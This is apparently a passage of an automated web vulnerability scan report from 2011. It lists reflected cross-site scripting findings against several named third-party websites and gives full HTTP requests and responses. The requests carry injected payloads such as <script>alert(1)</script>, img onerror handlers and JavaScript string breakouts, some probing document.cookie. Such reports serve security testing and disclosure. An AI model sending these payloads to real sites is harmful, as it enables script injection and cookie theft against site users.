HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:21:43 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Connection: close Content-Type: text/html Content-Length: 532
We're sorry, but the script was unable to require /usr/home/dcreg/public_html/www.dcregistry.com/cgi-bin/classifieds/db/personalsbc39f<script>alert(1)</script>6e8f0f5d54e.db at line 215 in classifieds.cgi. Please make sure that these files exist, that you have the path set correctly, and that the permissions are set properly. This message could also indicate that a s ...[SNIP]...
The value of the db request parameter is copied into the HTML document as plain text between tags. The payload fe27a<script>alert(1)</script>35aefdde02f was submitted in the db parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/surveys/survey.cgi?db=aad_lookfe27a<script>alert(1)</script>35aefdde02f&website=&language=&display_poll_results=on HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:21:36 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Connection: close Content-Type: text/html Content-Length: 517
We're sorry, but the script was unable to require /usr/home/dcreg/public_html/www.dcregistry.com/cgi-bin/surveys/db/aad_lookfe27a<script>alert(1)</script>35aefdde02f.db at line 206 in survey.cgi. Please make sure that these files exist, that you have the path set correctly, and that the permissions are set properly. This message could also indicate that a syntax ...[SNIP]...
The value of the language request parameter is copied into the HTML document as plain text between tags. The payload 5027a<script>alert(1)</script>12f2a4bf5c6 was submitted in the language parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/surveys/survey.cgi?db=aad_look&website=&language=5027a<script>alert(1)</script>12f2a4bf5c6&display_poll_results=on HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:21:41 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Connection: close Content-Type: text/html Content-Length: 531
We're sorry, but the script was unable to require /usr/home/dcreg/public_html/www.dcregistry.com/cgi-bin/surveys/language/5027a<script>alert(1)</script>12f2a4bf5c6/template.pl at line 174 in survey.cgi. Please make sure that these files exist, that you have the path set correctly, and that the permissions are set properly. This message could also indicate that ...[SNIP]...
The value of the website request parameter is copied into the HTML document as plain text between tags. The payload 39b59<script>alert(1)</script>d0e2bc9f57e was submitted in the website parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /cgi-bin/surveys/survey.cgi?db=aad_look&website=39b59<script>alert(1)</script>d0e2bc9f57e&language=&display_poll_results=on HTTP/1.1 Host: dcregistry.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 15:21:40 GMT Server: Apache/2.2.11 (Unix) FrontPage/5.0.2.2635 PHP/5.2.6 Connection: close Content-Type: text/html Content-Length: 515
We're sorry, but the script was unable to require /usr/home/dcreg/public_html/www.dcregistry.com/cgi-bin/surveys/websites/39b59<script>alert(1)</script>d0e2bc9f57e.cfg at line 441 in survey.cgi. Please make sure that these files exist, that you have the path set correctly, and that the permissions are set properly. This message could also indicate that a synta ...[SNIP]...
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 17c72<script>alert(1)</script>aed7ed93f68 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /red/psi/sites/www.csmonitor.com/p.json?callback=_ate.ad.hpr17c72<script>alert(1)</script>aed7ed93f68&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.csmonitor.com%2FUSA1edc1%2522-alert(document.cookie)-%25228a5e635d48%2FJustice%2F2011%2F0118%2FSupreme-Court-declines-appeal-of-D.C.-gay-marriage-law&ref=http%3A%2F%2Fburp%2Fshow%2F25&jdg4df HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; di=%7B%7D..1295378586.60|1293848200.66; dt=X; psc=4; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 220 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Wed, 19 Jan 2011 18:00:44 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Fri, 18 Feb 2011 18:00:44 GMT; Path=/ Set-Cookie: di=%7B%7D..1295460044.19F|1295378586.60|1293848200.66; Domain=.addthis.com; Expires=Fri, 18-Jan-2013 10:54:33 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Wed, 19 Jan 2011 18:00:44 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 19 Jan 2011 18:00:44 GMT Connection: close
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload b5131<script>alert(1)</script>ac69988ca2e was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /red/psi/sites/www.wileyrein.com/p.json?callback=_ate.ad.hprb5131<script>alert(1)</script>ac69988ca2e&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.wileyrein.com%2Fjsfe969%252522%25253e%25253cscript%25253ealert%252528document.cookie%252529%25253c%25252fscript%25253ec77ca9823dd%2Fui.dialog.js&ref=http%3A%2F%2Fburp%2Fshow%2F5&2lh2lm HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%7D..1295378586.60|1293848200.66; psc=4; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 131 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Wed, 19 Jan 2011 18:00:41 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Fri, 18 Feb 2011 18:00:41 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Wed, 19 Jan 2011 18:00:41 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 19 Jan 2011 18:00:41 GMT Connection: close
4.29. http://financaspessoais.blog.br/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://financaspessoais.blog.br
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f8184"><script>alert(1)</script>c42c81b1212 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as f8184\"><script>alert(1)</script>c42c81b1212 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?f8184"><script>alert(1)</script>c42c81b1212=1 HTTP/1.1 Host: financaspessoais.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:08:16 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.9 X-Pingback: http://financaspessoais.blog.br/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 207064
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn ...[SNIP]... <form action="/?f8184\"><script>alert(1)</script>c42c81b1212=1#wpcf7-f1-p30674-o1" method="post" class="wpcf7-form"> ...[SNIP]...
The value of the utm_campaign request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload aff57"><script>alert(1)</script>29569e332da was submitted in the utm_campaign parameter. This input was echoed as aff57\"><script>alert(1)</script>29569e332da in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?utm_source=blogger&utm_medium=badge&utm_term=rafael-lima&utm_content=232-58&utm_campaign=blogwatchaff57"><script>alert(1)</script>29569e332da HTTP/1.1 Host: financaspessoais.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:50 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.9 X-Pingback: http://financaspessoais.blog.br/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 207160
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn ...[SNIP]... <form action="/?utm_source=blogger&utm_medium=badge&utm_term=rafael-lima&utm_content=232-58&utm_campaign=blogwatchaff57\"><script>alert(1)</script>29569e332da#wpcf7-f1-p30674-o1" method="post" class="wpcf7-form"> ...[SNIP]...
The value of the utm_content request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 259b8"><script>alert(1)</script>8849500d1f1 was submitted in the utm_content parameter. This input was echoed as 259b8\"><script>alert(1)</script>8849500d1f1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?utm_source=blogger&utm_medium=badge&utm_term=rafael-lima&utm_content=232-58259b8"><script>alert(1)</script>8849500d1f1&utm_campaign=blogwatch HTTP/1.1 Host: financaspessoais.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:30 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.9 X-Pingback: http://financaspessoais.blog.br/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 207160
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn ...[SNIP]... <form action="/?utm_source=blogger&utm_medium=badge&utm_term=rafael-lima&utm_content=232-58259b8\"><script>alert(1)</script>8849500d1f1&utm_campaign=blogwatch#wpcf7-f1-p30674-o1" method="post" class="wpcf7-form"> ...[SNIP]...
The value of the utm_medium request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1033"><script>alert(1)</script>f894aad5354 was submitted in the utm_medium parameter. This input was echoed as e1033\"><script>alert(1)</script>f894aad5354 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?utm_source=blogger&utm_medium=badgee1033"><script>alert(1)</script>f894aad5354&utm_term=rafael-lima&utm_content=232-58&utm_campaign=blogwatch HTTP/1.1 Host: financaspessoais.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:02 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.9 X-Pingback: http://financaspessoais.blog.br/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 207160
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn ...[SNIP]... <form action="/?utm_source=blogger&utm_medium=badgee1033\"><script>alert(1)</script>f894aad5354&utm_term=rafael-lima&utm_content=232-58&utm_campaign=blogwatch#wpcf7-f1-p30674-o1" method="post" class="wpcf7-form"> ...[SNIP]...
The value of the utm_source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab23b"><script>alert(1)</script>dbf1985e564 was submitted in the utm_source parameter. This input was echoed as ab23b\"><script>alert(1)</script>dbf1985e564 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?utm_source=bloggerab23b"><script>alert(1)</script>dbf1985e564&utm_medium=badge&utm_term=rafael-lima&utm_content=232-58&utm_campaign=blogwatch HTTP/1.1 Host: financaspessoais.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:08:48 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.9 X-Pingback: http://financaspessoais.blog.br/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 207160
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn ...[SNIP]... <form action="/?utm_source=bloggerab23b\"><script>alert(1)</script>dbf1985e564&utm_medium=badge&utm_term=rafael-lima&utm_content=232-58&utm_campaign=blogwatch#wpcf7-f1-p30674-o1" method="post" class="wpcf7-form"> ...[SNIP]...
The value of the utm_term request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a45a3"><script>alert(1)</script>2751ef5eaae was submitted in the utm_term parameter. This input was echoed as a45a3\"><script>alert(1)</script>2751ef5eaae in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?utm_source=blogger&utm_medium=badge&utm_term=rafael-limaa45a3"><script>alert(1)</script>2751ef5eaae&utm_content=232-58&utm_campaign=blogwatch HTTP/1.1 Host: financaspessoais.blog.br Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Wed, 19 Jan 2011 18:09:15 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.9 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5.9 X-Pingback: http://financaspessoais.blog.br/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 207160
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head profile="http://gmpg.org/xfn ...[SNIP]... <form action="/?utm_source=blogger&utm_medium=badge&utm_term=rafael-limaa45a3\"><script>alert(1)</script>2751ef5eaae&utm_content=232-58&utm_campaign=blogwatch#wpcf7-f1-p30674-o1" method="post" class="wpcf7-form"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3018b"><img%20src%3da%20onerror%3dalert(1)>23dd898c372 was submitted in the REST URL parameter 1. This input was echoed as 3018b"><img src=a onerror=alert(1)>23dd898c372 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /tools3018b"><img%20src%3da%20onerror%3dalert(1)>23dd898c372/ HTTP/1.1 Host: flowplayer.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 /tools3018b"><img%20src%3da%20onerror%3dalert(1)>23dd898c372/ Server: nginx/0.7.65 Date: Wed, 19 Jan 2011 15:23:41 GMT Content-Type: text/html;charset=ISO-8859-1 Connection: close Content-Length: 5920
Prefer web standards over Flash. Video is the only exception (f ...[SNIP]... <body id="tools3018b"><img src=a onerror=alert(1)>23dd898c372" class="msie tools"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f3bd2"><img%20src%3da%20onerror%3dalert(1)>edbe5526fa5 was submitted in the REST URL parameter 1. This input was echoed as f3bd2"><img src=a onerror=alert(1)>edbe5526fa5 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /toolsf3bd2"><img%20src%3da%20onerror%3dalert(1)>edbe5526fa5/expose.html HTTP/1.1 Host: flowplayer.org Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 /toolsf3bd2"><img%20src%3da%20onerror%3dalert(1)>edbe5526fa5/expose.html Server: nginx/0.7.65 Date: Wed, 19 Jan 2011 15:23:42 GMT Content-Type: text/html;charset=ISO-8859-1 Connection: close Content-Length: 5835
Prefer web standards over Flash. Video is the only exception (f ...[SNIP]... <body id="toolsf3bd2"><img src=a onerror=alert(1)>edbe5526fa5_expose" class="msie tools"> ...[SNIP]...
The value of the h request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 71359'%3balert(1)//beeb76ff9a8 was submitted in the h parameter. This input was echoed as 71359';alert(1)//beeb76ff9a8 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=94699B6&w=160&h=60071359'%3balert(1)//beeb76ff9a8&rnd=3843100\ HTTP/1.1 Host: guru.sitescout.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 384 Date: Wed, 19 Jan 2011 18:09:59 GMT Connection: close
var myRand=parseInt(Math.random()*99999999);
var pUrl = "http://guru.sitescout.com/disp?pid=94699B6&rand=" + myRand;
The value of the pid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 91eec"%3balert(1)//b86b5220098 was submitted in the pid parameter. This input was echoed as 91eec";alert(1)//b86b5220098 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=94699B691eec"%3balert(1)//b86b5220098&w=160&h=600&rnd=3843100\ HTTP/1.1 Host: guru.sitescout.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 384 Date: Wed, 19 Jan 2011 18:09:54 GMT Connection: close
var myRand=parseInt(Math.random()*99999999);
var pUrl = "http://guru.sitescout.com/disp?pid=94699B691eec";alert(1)//b86b5220098&rand=" + myRand;
The value of the w request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 255f6'%3balert(1)//86e0057d261 was submitted in the w parameter. This input was echoed as 255f6';alert(1)//86e0057d261 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=94699B6&w=160255f6'%3balert(1)//86e0057d261&h=600&rnd=3843100\ HTTP/1.1 Host: guru.sitescout.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 384 Date: Wed, 19 Jan 2011 18:09:56 GMT Connection: close
var myRand=parseInt(Math.random()*99999999);
var pUrl = "http://guru.sitescout.com/disp?pid=94699B6&rand=" + myRand;
4.40. http://jonesdaydiversity.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://jonesdaydiversity.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload fbc5a'-alert(1)-'5b7885e79b2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /?fbc5a'-alert(1)-'5b7885e79b2=1 HTTP/1.1 Host: jonesdaydiversity.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the csid request parameter is copied into the HTML document as plain text between tags. The payload a088d<script>alert(1)</script>e11cd877bb9 was submitted in the csid parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /gateway/gw.js?csid=K08784a088d<script>alert(1)</script>e11cd877bb9&auto=t HTTP/1.1 Host: js.revsci.net Proxy-Connection: keep-alive Referer: http://www.local.com/results.aspx?keyword=law+offices&CID=2531/x22b7005%22style%3d%22x%3aexpression(alert(document.cookie))%22e433a090613 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; udm_0=MLvv8iMJPj5n556Bo8jwxg27aVMsKvlZeh88v6LFxvi6NShB6ZO83AmHuP4JgK9bvgpJZgsqUaP2xfTnxNPh9+fmSEPkCVwJX705HIrDAdU6h9yhStmEjquZrguVeF3r0KH2OzLBVWAxUkwC4gAcARichgtw510EVacnhilf+8mRFAtdqKZBM6NUyjil0ZdVPRDqI+Ti+FIe6fewtlE9GinOst7C+rlOGLcLpjRwr3ZfMSayOJgkjwJdHiBSJ9kAcsoTnnNvaA7Xcb0oB88geiObO0gCWiOMGKuhN5NhpXa5wNJrUpjtCGmrVtVPNsrxL9ryWzajTucvw6SIgD8tYcWt49xZgaknzfQMm4nMuUr+qb1f+Ms3ek2Rc8bT/TWEYTevTxXB1YSJNhNpyO+5lLFTcDcxf+duWIK8eU0eIZAncGmWmIMN2HAprOXDL92vjPG5GfbTEfgpUERmJC38xypT/U/eZtb2YBNcle27OeZkVpQY88kycEdRsS0Ks4HLd9MJ6YiDUxLI3FUlyF0iCBOApuRiSn2zDur8XA1O6kZwXMP/vqnO/qlcm8YSMQteDyI8xTLOkrtw5XuzDTiehCDdIT5AUFXEVikG1xbWOf61/rLXUN710OVSlXuiKpp7slVOdtdIlvK5Ef2r/dR4A+dOCYr8QFU/PgPleGbyIL5+FSmkfzlkK9kpSlXIgokpHC3DmN7FSnZ4W681z5mM3+bkQyAQa1deCg6dY3j8xQBsPgkVRyyliBZ/BT5AfFB6Kt2bfoD+HZA9FOS08BLyiny5VyDBbEms9liC5Fs3TFj1lR+RyszTbus6ezqbVXF77t83kYCDwMJ+4srH8tO8ZoaqbVgfKSopwI144BcK1RceyhLfvKeO2mls6933wcTzEXOpWYxsjrgl5Q==; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Last-Modified: Wed, 19 Jan 2011 18:01:06 GMT Cache-Control: max-age=86400, private Expires: Thu, 20 Jan 2011 18:01:06 GMT Content-Type: application/javascript;charset=ISO-8859-1 Date: Wed, 19 Jan 2011 18:01:05 GMT Content-Length: 128
/* * JavaScript include error: * The customer code "K08784A088D<SCRIPT>ALERT(1)</SCRIPT>E11CD877BB9" was not recognized. */
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ed76e'-alert(1)-'ef86bc64d25 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /event-log-analysis-smed76e'-alert(1)-'ef86bc64d25/ HTTP/1.1 Host: landesm.gfi.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Date: Wed, 19 Jan 2011 18:09:18 GMT Server: TornadoServer/1.0 Content-Length: 2205 Connection: Close
